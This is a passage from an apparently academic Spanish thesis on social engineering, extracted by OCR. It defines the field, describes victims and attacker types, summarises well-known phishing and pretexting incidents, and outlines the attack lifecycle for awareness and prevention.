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Resumen

La Ingenieria Social se esta erigiendo como una de las mayores amenazas que puede llegar a
tener la Tecnologia de Informacién. Es por ello por lo que este trabajo se ha centrado en el
estudio de las metodologias de la Ingenieria Social, ademas de sus ataques y de su prevencion a

fin de conseguir una vision global.

En una primera parte se describird la Ingenieria Social, en todos sus dmbitos, ademas se
detallarantodos los tipos de ataques que la componen, adentrandonos en la parte psicolégica
de esta, dado que el objetivo final es la persona y es la que debe revelar la informacion

confidencial que dispone.

En una segunda parte serealizaranbancos de prueba de ataques de Ingenieria Social, para ver
el poder de estas técnicas y podernos dar cuenta de la capacidad de éxito que pueden llegar a
tener, pudiendo comprometer grandes empresas, por el simple hecho de no haber dado la

importancia que debia este tipo de amenaza.
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Abstract

Social Engineering is emerging as one of the greatest threats againstthe Information Technology
can have. This work has focused on the study of Social Engineering methodologies, their attacks,

and the prevention to achieve a global vision.

In a first part, Social Engineering will be described in a depth way. All types of attacks that
compose the Social Engineering will be detailed, speaking about the psychological part, because
the final objective is the person, and it is the one that must reveal the confidential information

that he has.

In asecond part, test benches of Social Engineering attacks will be carried out, to see the power
of these techniques and to be able to realize the capacity of success that they can have, being
able to compromise big companies, for the simple fact of not having given the importance that

this type of threat owes.
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1.- Introduccidn

1.1.- Contexto y justificacion del trabajo

Hoy en dia, el modo de vida de la sociedad va ligada de una manera casi esencial al mundo
tecnoldgico, se podria decir que esta integrada a nuestra forma de vida. Es por ello por lo que
se alnan multitud de esfuerzos para que el uso de las tecnologias genere confianza en el usode

la tecnologia mediante la seguridad, evitando o minimizando el riesgoa posibles ataques.

Entre los multiples ataques y técnicas que existen para corromper la tecnologia hay uno llamado
ingenieria social. Esta, tiene por objetivo atacar ala persona que hace uso de la tecnologia y no
la tecnologia. Se basa en la manipulacion humana para la extraccion de informacion
confidencial. Los ataques pueden ser de diferente indole y los tipos de informacién que buscan
los delincuentes pueden variar. Cuando las personas son atacadas, los delincuentes suelen
intentar engafiar a la victima para que les dé sus contrasefas oinformacién bancaria, o acceder

a suordenador parainstalar software malicioso.

En el mundo de los ataques informaticos, la ingenieria social, irrumpe como una de las técnicas
de mayor uso, dada su efectividad y el resultado que obtiene el atacante. Aprovechandose de
gue en el mundo tecnolégico no todos los usuarios tienen conocimientos para no exponerse a

dichos ataques.

En este trabajo se definird el concepto de ingenieria social, abordando todos los aspectos que
conlleva ese término. Acto seguido se explicaran los ataques que se pueden utilizar para
cometer los delitos, asi como algun ataque que haya tenido repercusidon a nivel mundial.
Después nos centraremos en las diferentes técnicas que se utilizan para cometer los ataques,
asi como sus herramientas que ayudan a crearlos. A continuacién, se profundizara en las
diferentes técnicas que se usan para evitar estos ataques, desarrollando alguna de ellas y
realizando pruebas para ver su funcionalidad y rendimiento, simulando una situacién real. Y

finalmente se realizara una evaluacién y conclusiones sobre estos ataques.
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1.2.- Objetivo

1.2.1.- Objetivo General
El objetivo principal que tiene la realizacién de este trabajoes:

Dar a conocer, concienciary proteger al usuario de las posibles amenazas que puede

generar la ingenieria social, e intentar minimizar el impacto.

El objetivo en el que se sustenta el trabajo es dar una vision global sobre la Ingenieria Social, y
poder difundir conocimiento para poder tratar de minimizar posibles ataques que pueden llegar

a comprometera la persona o a una empresa.

1.2.2.- Objetivos Especificos

Como objetivos especificos del trabajo disponemos de una serie de objetivos que
complementan y mejoran sustancialmente el objetivo principal. Estos le dan un plus de
entendimiento sobre la Ingenieria Social y una base de conocimiento que pueda ayudar a

entender y comprender mejor esta parte de la seguridad informatica.
Objetivos tedricos

e Comprender en que consiste la Ingenieria Social.
e Saber qué tipo de atacantesy qué tipo de victimas existen.
e Concienciarse sobre ataques famosos producidos y sus repercusiones.

e Entender la psicologia del ser humano, para poder encontrar el punto débil.
Objetivos practicos

e Aplicar técnicas que usanlos ciberdelincuentes para cometer ataques.
e Realizartécnicas de mitigacidon o prevencién de ataques para que no tengan éxito.
e Darunaidea de cémo se actua para delinquir y ver a través del prisma del atacante, una

mejor visidn paratener una mejor defensa como victima.

1.3.- Planificacion

Para la realizacién de la planificacion se ha realizado un diagrama de Gantt sobre el despegue

de una prueba de pentesting, que se comentard mas adelante, sobre una empresa ficticia
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llamada FictCorp. Para ello se seguiran todos los pasos necesarios del proceso detallandolos
especificamente durante la realizacién. Aunque, como es sabido, en una planificacion alguna
tarea puede variar en el tiempo y en la duracion de esta. La planificacidn se realiza pasoa paso
de forma ordenaday escalonada. La extensién se ha calculado en base a la duracién del proyecto

y a lo largodel trimestre que lo ocupa.

Como podemos ver en la Figura 1, se ha realizado un diagrama de Gantt para realizar la
organizaciény planificacion del proyecto. Es una vista general del proyecto. Se ha agrupado por

semanas, dada la extensién en el tiempo.

Figura 1. Planificaciondel proyecto

1.4.- Recursos y presupuesto

En esta seccidn se detallard el presupuesto para la realizacién del proyecto de acuerdo con la

planificacién del apartadoanterior.

Para la elaboracién del presupuesto se ha tomado en consideracion disponer de dos personas
gue puedan hacer despegar este tipo de proyecto, un director de proyectos y un técnico
pentesting. Se deberan contabilizar las horas realizadas por persona a lolargo del trimestre para

la realizacién del proyecto, teniendo en cuenta cada uno los roles que desempefian.

Para la realizacion del proyecto no es necesario disponer de grandes recursos econémicos a nivel
de software. Gran parte de las herramientas utilizadas han sido de software libre, esto ha

ayudado a no encarecer el presupuesto.

A nivel de hardware, se han utilizado dos ordenadores y un receptor wifi para poder realizar las

practicas correctamente.

17



Descripcién Unidades Horas Precio Unitario = Importetotal

Director proyecto 1 75 60€ 4.500€
Pentester IT 1 225 50€ 11.250€
Ordenador Personal 2 1.000€ 2.000€
Windows 10 2 200€ 400€
Microsoft Office 365 2 220€ 440€
Receptor Wifi 1 30€ 30€
Total 18.620€

1.5.- Estructura de la memoria
La estructura en la que se ha basadola memoria a grandes rasgos es la siguiente:
Definicion de ingenieria social

En esta primera fase se hablara sobre lo que significa la Ingenieria Social, asi como los tipos de
atacantes ytipos de victimas que existen. Se dardn ejemplos de ataques famosos conocidos en

la historia de la Ingenieria Social.
Tipos de ataques

Dentrode laIngenieria Social, podemos ver que existen multiples tipos de ataques que pueden
ser llevados a cabo por un ingeniero social. Se intentard abordarlos de la mejor manera posible,

describiéndolos y explicando en que se basa cada uno de ellos.
Técnicas de creacion de ataques

En el siguiente apartadose hablara sobre las técnicas que se realizan para poder realizar dichos
ataques, se hara especial hincapié en la parte psicoldgica de la persona dado que es la baseen

la que se sustentanlos ataques de Ingenieria Social.
Técnicas de prevencion y minimizacidon de posibles ataques

En este apartado se hablard de una manera profunda sobre las medidas que se pueden optar,
ya sea a nivel de empresa como a nivel de usuario, para mitigar o prevenir posibles ataques de

Ingenieria Social.
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Banco de pruebas sobre estas técnicas

En este apartado, sobre unsupuesto de una empresa ficticia se desplegaran pruebas pentesting
para visualizar tipos de ataques de Ingenieria Social que se pueden realizary el tipo de respuesta
que puede tener el empleado. De esta manera, se evaluara que tipo de soluciones se pueden

derivar después de haber realizado dichas pruebas.
Evaluacién y conclusiones

Para acabar, se evaluara el contenido descritoy explicado a lo largode la memoria, mostrando

unas conclusiones sobre el trabajo elaborado.

19



20



2.- ¢Qué es la Ingenieria Social?

En términos generales podemos decir que la Ingenieria Social (Definition, 2022) es la practica de
obtener informacién confidencial a través de la manipulacién de usuarios legitimos. Segun la
Wikipedia, “el acto de manipular a la gente para llevar a cabo acciones o divulgar informacién
confidencial. Aunque parecido a una estafa o un simple fraude, el término se aplica
normalmente alas artimafias o engafios con el propdsito de obtener informacidn, llevar a cabo
el fraude o acceder a un sistema informatico; en la mayoria de los casos, el atacante nunca se
enfrenta cara a cara con la victima”. Con lo cual, podemos decir que la Ingenieria Social es la
ciencia de maniobrar habilmente para lograr que los seres humanos actienenalgin aspectode
sus vidas para que el atacante pueda extraer informacidn confidencial y usarla para beneficio
propio. Aunque es menos sofisticada que otras estrategias de ciber-attacking, la ingenieria social

puede tener consecuencias graves ya menudo, puede ser el primer paso de un ataque mayor.

El éxito de las técnicas de ingenieria social depende de la capacidad de los atacantes para
manipular a las victimas para que realicen determinadas acciones o proporcionen informacién
confidencial. Hoy en dia, la ingenieria social es reconocida como una de las mayores amenazas
a laseguridad que enfrentanlas organizaciones. La ingenieria social se diferencia de la pirateria
tradicional en el sentido de que los ataques de ingenieria social pueden ser no técnicos y no
implican necesariamente el compromiso o la explotacion de software osistemas. Cuando tienen
éxito, muchos ataques de ingenieria social permiten a los atacantes obtener acceso legitimo y

autorizado a informacion confidencial.

La ingenieria social se puede utilizar en lugar de, o en combinacién con, amenazasy sobornos.
El ingeniero social clasico tiene como objetivo no dejar ningln rastroy, en general, dejar la

menor huella posible, por lo que las amenazas ylos sobornos no son sus favoritos.

Asi pues, un ataque de ingenieria social se centra principalmente en la vulnerabilidad de las
personas y se basa casi por completo en utilizar “el principio de penetracién mas facil”. No
importa como de seguro sea el sistema en si mismo, dado que la mayor amenaza serdn sus

propios usuarios y el uso que hagande él.
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2.1.- Victimas potenciales

Para tener éxito en un ataque de ingenieria social, también se debe acertar con la victima, con

la personaa la que se quiere atacarysus caracteristicas.

Es por ello por lo que las personas que mas posibilidades o mas debilidades pueden llegar a

tenery, por lo tanto, mas expuestas pueden estar son:

e Personas que desconocen el valor de la informacidn como auxiliares administrativos,
recepcionistas, guardias de seguridad, etc.

e Personas que tienen privilegios especiales como soporte técnico, administradores de
sistemas, etc.

e Fabricantes / proveedores: organizaciones que fabrican hardware, software, etc. Que
podrian ser de interés para los piratas informaticos.

e Departamentos especificos tales como podrian ser contabilidad, recursos humanos u

otros departamentos que tenganinformacion potencialmente valiosa.

En general, los objetivos tipicos son aquellos que carecen de cierta informacién sobre la
seguridad, que trabajan para ayudar a otros, que tienen altos derechos de acceso a la
informacidén o conocimiento, oaccesoa algovalioso, ya sea informacién ovalor econdmico. Esto
basicamente significa que casi todas las personas con accesoa cualquier parte del sistema son

un objetivo potencial.

2.2.- Tipos de atacantes

Normalmente, cuando una persona piensa en ingenieria social y quiénes son sus perpetradores,
la primera imagen que nos viene a la cabeza es la de un hacker, pero se da la circunstancia, que
existen diferentes tipos de atacantes. Podemos dividir los tipos de atacantes en muchas
categorias. Estos van desde espias profesionales y piratas informaticos hastavendedores y gente

comun (Through, 2022) :

e Hackers: Hoyen dia la ciberseguridad ha ayudado a disponer de un mayor control en el
software producido, dotandolos de mayor robustez y seguridad, a la vez que se hace
mas hincapié en la generacidn de software seguro, lo que ha provocado que los hackers
busquen nuevas alternativas para lograr sus objetivos, y una de estas alternativas ha

sido la de la ingenieria social combinada con sus conocimientos de hacking.
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Probadores de seguridad: Un probador de seguridad (Education-B, 2022) es una
persona que prueba las vulnerabilidades o el acceso no autorizado a los sistemas. Las
pruebas de seguridad son las practicas de probar un sistema informatico, una red, una
aplicacién web o un perimetro in situ para encontrar vulnerabilidades que un atacante
malintencionado podria aprovechar. Las empresas con procesos de autenticacion,
cortafuegos, VPN y software de monitoreo de red aln estan expuestas a un ataque si
un empleado entrega informacion clave sin saberlo. La ingenieria social es el lado
humano de las pruebas de vulnerabilidades de redes corporativas. Los probadores de
seguridad emplean multiples tacticas para probar sus objetivos. Un probador imitard los
ataques que utilizaria un ingeniero social malintencionado para intentar una violacién
del sistema.

Espionaje: es la practica de recopilar en secreto informaciéon sobre un gobierno
extranjeroo una industria competidora, con el objetivo de colocar al propio gobierno o
corporacién en una ventaja estratégica ofinanciera. Hoy en dia, en la Ingenieria social,
es una de las técnicas usadas por los espias para tratar de obtener informacion.
Ladrones de identidad: Grupo de personas que recopilan datos personales de una
manera poco honesta, como por ejemplo, rebuscando en la basuray la utilizan para
alcanzar su objetivo. Dicha informacion pueden ser datos como el nombre, direccidn,
numero de la Seguridad Social, direccién de correo electrénico...

Empleados descontentos: Hay muchas razones que contribuyen al descontento de los
empleados en el lugar de trabajo. Sin embargo, el proceso generalmente comienza
cuando un empleado se siente sobrecargado de trabajo, mal pagado, despreciado o
rechazado por un ascenso. Los empleados descontentos poseen dos componentes
necesarios para causar dafios: accesoy motivacion. También se pueden agrupar en este
apartadolos exempleados, dénde se da el caso que un exempleado puede conservar el
accesoa las aplicaciones corporativas una vez finalizado su empleo. Este acceso puede
convertirse en el talén de Aquiles de la empresa. Si el exempleado se va de malas
maneras, existe la motivacidn para usar ese acceso para orquestar un ataque dafino
parala empresa.

Corredores deinformacién: Empresas que recopilan informacion, incluida informacion
personal sobre consumidores, de una amplia variedad de fuentes con elfin de revender
dicha informacién a sus clientes para diversos fines, incluida la verificacion de la
identidad de una persona, registros, productos de marketing y prevencion del fraude

financiero.
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e Artistas deltimo: Los estafadores participan enacciones fraudulentas o engafiosas para
defraudar a otros. Un método comun que utilizan los estafadores es el fraude de
marketing masivo.

e Cazadores de talento: Estos profesionales son una extensidn del departamento de
contrataciones de una empresa. Suelen ser personas con muchos recursos para
satisfacer las necesidades de una empresa obteniendo la mayor informacién posible de
sus posibles candidatos y detectando posibles fallos de estos. Deben ir mas alld para
obtener informacién, también deben ser capaces de comprobar si las motivaciones de
la persona encajarancon sulugar de trabajoy el potencial de esta.

e Vendedores:Elarte de vender es un tipo de trabajo dentro del mundo laboral que hace
uso de muchas técnicas que se utilizanen la Ingenieria Social. Estas técnicas suelen ser,
por ejemplo: recopilar datos, maniobras de obtencién de informacién, influencia,
principios psicoldgicos, etc. Los vendedores deben usarlas para conseguir que aquello
que venden cubra las necesidades de su futuro cliente y lo compren.

e Gobiernos: Los gobiernos emplean métodos de ingenieria social de forma regular en sus
esfuerzos por influir enla opinién publica para que apoye las acciones gubernamentales.

e Lagente: Los métodos de ingenieria social son utilizados por la gente comun de forma
regular. Estoa menudo se hace sin intencién directa, se usan simplemente porque son

muy efectivos.

2.3.- Ataques con repercusion mundial

Contrariamente a la creencia popular, el arte del hackeo no se trata solo de encontrar agujeros
en el software del ordenador que le dé al atacante acceso a informacién confidencial. Las
vulnerabilidades en el comportamiento y los hdbitos humanos pueden ser igualmente
perjudiciales para la seguridad de una organizacion, es mds, suele tener mayor efectividad, dado
gue suelen tener mayores vulnerabilidades. Podemos encontrar un simil en la historia griega
cuando los griegos utilizaron el Caballo de Troya para meterse dentrode los muros de Troya, los
ingenieros sociales utilizan los errores humanos para eludir las medidas de seguridad
tecnoldgica. Desde hace ya un tiempo, estos tienen la capacidad de perpetrar acciones
maliciosas para las organizaciones y usuarios, en estas préximas lineas se detallardn unos
cuantos que se han considerado como los mas famosos o lo que mas huella han dejado (Poston,

2018).
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2.3.1.-2011:RSASecurlD

Los tokens SecurlD de RSA estan disefiados para proteger a sus usuarios al proporcionar
autenticacion de dos factores (2FA), lo que hace imposible que los atacantes violen sus sistemas
utilizando solamente una contrasefia. Sin embargo, esta tecnologia solo funciona sila tecnologia
2FA es segura. En 2011, RSA fue victima de un famoso ataque de phishing que comprometiod la

seguridad de sus sistemasyle costd ala empresa 66 millones de ddlares.

El ataque de ingenieria social contra RSA consistid en dos correos electrénicos de phishing
diferentes. Estos correos electrénicos pretendian describir el plan de contratacion de otra
organizacion y contenian un documento de Microsoft Excel adjunto. Si un empleado abria el
documento de Excel, se explotaba una vulnerabilidad Flash de dia ceroy se instalaba una puerta
trasera que permitia al atacante acceder al sistema. Si bien se desconoce la informacion exacta
robada por el atacante, fue lo suficientemente significativa como para que RSA creyera que
ponia en peligro la seguridad de los tokens RSA SecurlID, lo que obligd a la compafiia a gastar

millones en corregir el problema.

2.3.2.-2013: Twitterde Associated Press

En 2013 se hacked la cuenta de Twitter de Associated Press, esto tuvo un gran impacto
inmediato y nacional. El ataque comenz6 como un correo electrénico de phishing dirigido a los
empleados de Associated Press que parecia venir de otros empleados de la misma compaiiia. En

realidad, el correo electrénico venia del Ejército Electrdnico Sirio.

El correo electrénico incluia un enlace a un sitio phishing donde los empleados ingresaban la
informacioén de sus credenciales para la cuenta de Twitter de Associated Press. La Unica pista
que daba el correo electrénico de phishing fue el hecho de que el nombre del empleado de AP
en el campo de emisor del correo electrénico no coincidia con el nombre de la firma. Una vez
gue el Ejército Electrénico Sirio obtuvo acceso a la cuenta de Twitter de Associated Press,
publicaron un tweet que decia que la Casa Blanca habia sido bombardeada y que el presidente
Obama habia resultado herido en la explosién. Este tweet solo estuvo en vivo durante tres
minutos antes de que comenzara a difundirse la noticia de que era fake. Sin embargo, en esos
tres minutos, el DOW Jones cayd 150 puntos, alrededor de 136 mil millones de ddlares, antes

de volver arecuperarse hasta su nivel anterior.

Este simple correo electrénico de phishing podria haber tenido un efecto devastador en la

economia de los EEUU, si se hubiera gestionado adecuadamente, podria haber generado una
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gran cantidad de dinero para los atacantes mediante ventas a corto plazo en el mercado de

valores.

2.3.3.-2013:robode certificado Bit9

En 2013, Bit9 fue victima de un ataque de Watering Hole Attacks. En un ataque de Watering
Hole Attacks, los piratas informaticos infectaron paginas web dénde existia la probabilidad que
su objetivo visitara y esperaron hasta que su malware infecté con éxito el ordenador de su
objetivo. Por ejemplo, un atacante que tenga como objetivo a los desarrolladores de
programacion puede intentar infectar sitios web como Stack Overflow, dénde los
programadores visitan con frecuencia para consultar o responder preguntas relacionadas conla

programacion.

Como resultado del ataque Bit9, los piratas informaticos pudieron robar los certificados
utilizados por Bit9 para las firmas de su cddigo. Esto permitid a los atacantes crear malware que
parecia ser software legitimo desarrollado por Bit9, pero en realidad no lo era. Comoresultado,
los atacantes pudieron acceder a otras organizaciones que usaban un software confiable

firmado por Bit9.

2.3.4.-2013: Targetpoint

La violacién de 2013 de los sistemas Targetpoint muestra que una organizaciénsolo es segura si
todas las organizaciones en las que confia también lo son. Como resultado de la violacion de
2013 de sus sistemas de punto de venta, los piratas informaticos accedieron a la informacion de
tarjetas de crédito y débito de 40 millones de clientes de Targetpoint. La informacion de la
tarjeta de créditoy débito se robé usando malware enlos sistemas de punto de venta de Target,
pero la fuente de la infraccidon fue un ataque de ingenieria social. Por alguna razén, Targetpoint
otorgd accesoremoto a su red (incluida su red de pago, que debe mantenerse separada), a su
proveedor de calefaccidn, refrigeracion y aire acondicionado, Fazio Mechanical Services. Este
proveedor estaba asignado con un correo electrénico de phishing que instalé el malware
troyano Citadel en sus maquinas, lo que le permitio al pirata informatico robar sus credenciales
de accesoala red Target. Con estas credenciales, los atacantes pudieroniniciar sesién en la red
de Target e instalar malware que registrd y extrajo la informacién de cada tarjeta de créditoy

débito utilizada en las maquinas infectadas.
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2.3.5.-2013: Watering Hole del Departamento de Trabajo de los Estados Unidos

Al igual que Bit9, el Departamento de Trabajo de Estados Unidos fue victima de un ataque de
Watering Hole en 2013. Para atacar a los empleados del Departamento de Trabajo y del
Departamento de Energia, los piratas informdticos infectaron paginas web relacionadas con
temas nucleares que estaban regulados por el Departamento de Energia. Dado que esta no es
una informacién que un usuario normal visite y esté interesado, se permitio a los atacantes
seleccionar a empleados con experiencia en ciencias nucleares y probablemente obtuvieron una
autorizacion de seguridad. El malware real utilizado en este ataque fue el troyano de acceso
remoto Poison lvy (RAT) entregado a través de una vulnerabilidad de dia cero en Internet
Explorer. Hoy en dia, no se sabe nada sobre la cantidad de empleados infectados, qué datos

pudieron ser robados ni la identidad de los piratas informaticos.

2.3.6.-2014:Hackeo a Sony Pictures

En 2014, Sony Pictures se estaba preparando para lanzar The Interview, una comedia sobre dos
hombres que se entrenan para asesinar al lider de Corea del Norte. En respuesta, Corea del
Norte amenazdé con ataques terroristas contra teatros y pirated las redes informaticas
pertenecientes a Sony Pictures. El hackeo a Sony Pictures comenzé como un correo electrénico
de phishing de ID de Apple. Varios ejecutivos de Sony recibieron correos electrénicos que les
pedian que verificaran sus credenciales de Apple en una pagina de phishing bajo el control de
los atacantes. Usando los perfiles de LinkedIn del ejecutivo, los atacantes determinaron sus
probables credenciales de inicio de sesion para la red de Sony e identificaron al menos a un
ejecutivo que usaba la misma contrasefa para sus cuentas de Apple y Sony. Con estas
credenciales, los piratas informaticos pudieron obtener acceso a Sony Networks, y obtuvieron

100 terabytes de informacion confidencial de la empresay de sus empleados.

2.3.7.-2014:Hackeo a Yahoo

El hackeoa Yahoo de 2014 fue significativoy puso en peligro hasta 500 millones de usuarios. Los
datos robados incluian nombres de usuario, nimeros de teléfono, preguntas y respuestas de
seguridad, correos electrdnicos de recuperacion de contraseias y valores criptograficos

asociados con cada cuenta. El ataque de Yahoo de 2014 utilizé un ataque de phishing dirigido a
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empleados de Yahoo de cierto rango. Un empleado cayd con un correo electrénico, lo que le
otorgd al atacanteaccesoalared de Yahoo y le permitié descargar la base de datos de usuarios
de Yahoo. Utilizando direcciones de correo electrénico de recuperacion, los piratas informaticos
identificaron objetivos de interésy utilizaron los valores criptograficos almacenados en la base
de datos para generar cookies de Yahoo falsas. Estoles permitié acceder a la cuenta del usuario

sin contrasefa, comprometiendo por completo mas de 6.500 cuentas de usuariode Yahoo.

2.3.8.-2015: Ataque BEC a Ubiquiti Networks

Ubiquiti Networks es un fabricante de tecnologia para redes de alto rendimiento. En 2015,
Ubiquiti fue victima de un ataque de compromiso de correo electrénico empresarial (BEC) que
le costd a la empresa aproximadamente 46,7 millones de ddlares. Un ataque BEC es una forma
especial de phishing en el que un atacante se hace pasar por alginalto cargoen el organigrama
de la organizacion, como el CEO. Luego, el atacante se dirige a un empleado con el poder de
realizar ciertas funciones, como transferir dinero o acceder a los registros de recursos humanos.
En el casode Ubiquiti Networks, los atacantes fingieron ser miembros ejecutivos de la empresa
y atacaron a empleados del departamento de finanzas. El correo electrénico solicitaba que se
enviaran transferencias bancarias a determinadas cuentas. Estas cuentas eran supuestamente
socios de la empresa, pero en realidad eran cuentas que estaban bajo el control del pirata
informatico. Como resultado, el personal de Ubiquiti transfirié 46,7 millones de dodlares a
cuentas controladas por piratas informaticos. Ubiquiti pudo recuperar 8.1 millones y esperaba
recuperar otros 6.8 millones, lo que significa que la organizacion obtuvo 31.8 millones en

pérdidas.

2.3.9.-2016: Correos electronicos de la Convencion Nacional Demodcrata

Las filtraciones de correos electrénicos de la Convencidon Nacional Demdcrata pueden ser las
mas famosas y memorables que se recuerdan en unas primarias de las elecciones presidenciales
de Estados Unidos en 2016. Mds de 150.000 correos electrdnicos fueron robados a doce
miembros del personal de la campafia de Clinton y luego fueron filtrados en una variedad de
sitios. El ataque consistié en un correo electrénico de phishing. Los piratas informaticos rusos
crearon un correo electrénico de phishing que parecia ser un correo electrénico legitimo de
Google advirtiendo de una actividad inusual en sus cuentas de correo electrénico e invitando al

destinatario a hacer clic en un enlace para cambiar su contrasefa. Este enlace utiliza el
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acortamientode URLde Bitly para que parezca un enlace legitimo de Google e instaba que los
objetivos proporcionasen sus credenciales de Google para abordar la actividad potencialmente
maliciosa. Una vez que los atacantes tenianlas credenciales correctas, tenianacceso completo
a las cuentas de correo electrénico de sus objetivos, lo que les permitia descargar yfiltrar miles

de correos electrdénicos que contenian informacién sensible a la campafia de Clinton.

2.3.10.-2016: Departamento de Justicia de Estados Unidos

En 2016, el Departamento de Justicia de Estados Unidos fue victima de un ataque de ingenieria
social que filtré datos personales de 20.000 empleados del FBI y 9.000 empleados del DHS. El
pirata informatico afirmé que descargd 200 GB de archivos gubernamentales confidenciales de
un terabyte de los datos a los que tenia acceso. Elataque comenzd cuando el pirata informatico
obtuvo accesoa la cuenta de correo electrénico de un empleado del Departamento de Justicia
por medios desconocidos. Después de esto, intentd acceder a un portal web que requeria un
cddigo de acceso que no tenia. En lugar de darse por vencido, el atacante llamé al nimero del
departamentoy, alegando ser un nuevo empleado, pidié ayuda, lo que provocd que le dieran su
coédigo de acceso para que lo usara. Con este cédigo, pudo acceder a la intranet del
Departamento de Justicia utilizando sus credenciales de correo electrénico robadas, lo que le
dio accesocompletoa tres computadoras diferentes en la red del Departamento de Justicia, asi
como a bases de datos que contienen correos electrénicos militares e informacion de tarjetas
de crédito. Filtré informacion de contacto interna del Departamento de Justicia como prueba
del ataque, pero se desconoce a qué mas tuvo acceso y que mas pudo haber robado de la

Intranet del Departamentode Justicia.

2.4.- Ciclode vida de un ataque de ingenieria social

Existe una secuencia predecible de cuatro pasos para los ataques de ingenieria social que
generalmente se conoce como ciclo de vida (Education T. A.-S., 2022). Incluye las siguientes
etapas: recopilacion de informacién, establecimiento de relaciones y comunicacion, explotacion

y ejecucion.

Sin embargo, varios factores pueden hacer que el ciclo de vida se repita varias veces para un
objetivo determinado. Por ejemplo, un atacante puede usar una serie de ataques para llegar al

objetivo y lograr sus objetivos porque es probable que no vaya directamente al destinatario
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previsto. Esto también se conoce como un privilege escalation attack, que hace uso de las

referencias adquiridas previamente para hacerlas explotar en el objetivo marcado.

Como podemos ver en la Figura 2, el ciclo de vida tendria un flujo con los siguientes pasos.

Information
Gathering

Developing

BEEHE Relationship

Exploitation

Figura 2. Ciclo devida

2.4.1.- Recopilacion de informacion

La probabilidad de éxito de la mayoria de los ataques depende de esta fase. Por lo tanto, es
natural que los hackers inviertan la mayor parte del tiempo y se centren en ella. Con la
informacidn correcta, el hacker puede determinar el attack vector, las posibles contraseiias, las
posibles respuestas de las personas y perfeccionar los objetivos. En esta fase, el atacante se

familiariza y se siente cbmodo con el objetivo y formula un pretextofuerte.

2.4.2.- Establecer relacién y comunicacién

Esta fase establece una relacion de trabajo con el objetivo. Este es un punto critico ya que la
calidad de la relacidn construida por el atacante determina el nivel de cooperaciény el gradoen
gue el objetivo ird para ayudar al atacante a lograr su objetivo. Esta fase puede ser
completamente distinta cada vez, por ejemplo, puede ser tan breve como Unicamente un

contacto visual para que el objetivo mantenga la puerta abierta del sitio que desea atacar. O
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bien, podria conectarse a un nivel mas personal via telefdnica o llegar a un nivel tan personal
gue el objetivo podria mostrar fotos familiares y compartir historias con el atacante. Otra
posibilidad puede ser establecer una relacion en linea con el objetivo a través de un perfil falso

en un sitiode citas o redes sociales.

2.4.3.- Explotaciéon

Esta fase es cuando el atacante usa tanto la informacién recopilada como las relaciones para
infiltrarse activamente en el objetivo. En esta fase, el atacante se centraen mantener elimpulso
de cumplimiento que establecid en la fase 2 sin levantar sospechas. La explotacion puede tener
lugar mediante la divulgacién de informacién aparentemente sin importancia o el acceso

otorgado / transferidoal atacante. Ejemplos de explotacién exitosa que incluyen:

El acto de mantener una puerta abierta o permitir que el atacante entre en las
instalaciones.

e Revelarla contrasefiay el nombre de usuario por teléfono.

e Ofrecer pruebas sociales al presentar la ingenieria social a otro personal de la empresa.
e Insertar una unidad flash USB con un software malicioso en un ordenador de la empresa.
e Abrir un archivo adjunto de un correo electrénico infectado.

e Exponer secretos comerciales enuna discusidon con un supuesto "compaifero".

2.4.4 .- Ejecucién

Estafase es cuando se logra el objetivo final del ataque, o por varias razones, el ataque termina
de una manera inmediata para evitar sospechas. Generalmente, un ataque termina antes de
que el objetivo se comience a cuestionar que esta sucediendo realmente. En cambio, el atacante
termina con la sensacién de que el objetivo hizo algo bueno por otra persona, lo que garantiza
gue continden las posibles interacciones futuras. Ademas, el atacante borra las huellas digitales
y se asegura de que no se dejen elementos oinformacién que puedan delatarlo. Como resultado,
el atacante logra dos objetivos importantes. Primero, el objetivo no sabe que ocurrié un ataque.
Segundo, el atacante mantiene oculta su identidad. Una estrategia para obtener una buena

salida seria crear un ataque planificado y fluido como objetivo principal.
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3.- Tipos de ataque

La ingenieria social se diferencia de la pirateria informatica habitual en que el ingeniero social
accede a informacién confidencial con permiso del propietario de la informacién. En esencia,
son "estafadores" lo suficientemente buenos como para convencerte de que les des tu
informacidn directamente o manipularte para que pienses que su acceso es legitimo. A medida
que los ataques de ingenieria social contindan creciendo en sofisticacion y frecuencia, las
empresas deben considerar la formacion de sus empleados como un escudo frente a esta
amenaza que puede causar grandes pérdidas a las empresas. Un ejemplo del grado de
sofisticacion en que se estan volviendo los ataques es un ataque que se denomind
"Francophoned" (Security, 2022). En abril del 2013, el secretario de un vicepresidente de una
multinacional con sede en Francia recibié un correo electrénico que hacia referencia a una
factura de un popular servicio de intercambio de archivos. Minutos mas tarde, el mismo
secretario recibié una llamada telefénica de otro vicepresidente de la misma empresa,
indicdndole que procesara la factura. El vicepresidente hablé con cierta autoridad usando un
francés fluido. Sin embargo, la factura erafalsayel vicepresidente que la llamé era un atacante.
La supuesta factura era en realidad un troyano de accesoremoto (RAT) que estaba configurado
para contactar a un servidor de comando y control (C&C) ubicado en Ucrania. Usandoel RAT, el
atacante tomé inmediatamente el control del ordenador infectado. Registraron pulsaciones de

teclas, vieron el escritorioy examinaron y extrajeronarchivos.

Algunas de las técnicasy ataques (Cberseg1922, 2022) mas comunes catalogados en ingenieria
social son los de suplantacion de identidad, baiting, phishing, pretextos, spear phishing y
tailgating. Todos estos métodos son similares en la forma en que serealizan, pero cada uno es
Unico a sumanera. A continuacién, vamos a ver con mas detalle cada uno de los tipos de ataque

gue existen en la actualidad.

3.1.- Suplantacion de identidad

La suplantacién de identidad es una de las varias herramientas de ingenieria social que se utilizan
para accedera un sistemaored con el fin de cometer delitos como fraude, espionaje industrial
o robo de identidad. El ingeniero social se hace pasar por alguien en quien la victima es mas
probable que confie u obedezca de manera suficientemente convincente como para engafarla

y permitirle el acceso fisico a su oficina o al sistema de informacion. El ingeniero social
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reconstruye pacientemente todos los fragmentos de informacidn encontrados o entregados por
la victima. Estas, lasvictimas que daninformacién consideran que lo que dicen o hacen es inocuo
o poco confidencial, pero la combinacién o conjuncién de los detalles entregados le da al
atacante lo que necesita para poder llegar a su objetivo. Cuanta mas informacién tengan, mejor
podran evitar la deteccion. Los atacantes pasan tiempo investigando su objetivo y encuentran

informacidn sobre la victima o una empresa mediante:

e Sitios web del mercado negro u otros ingenieros sociales.

e Sitios web de la empresa.

e Rebuscandoen labasura, eninglés dumpster diving, consiste en buscar informacion
de cualquier tipo, la cual pueda ser valiosa para un futuro ataque. Existen diferentes
tipos de cosas que pueden ser valiosas para el atacante, como, por ejemplo, guias
telefénicas de la empresa, organigramas, memorandos, manuales de politicas de la
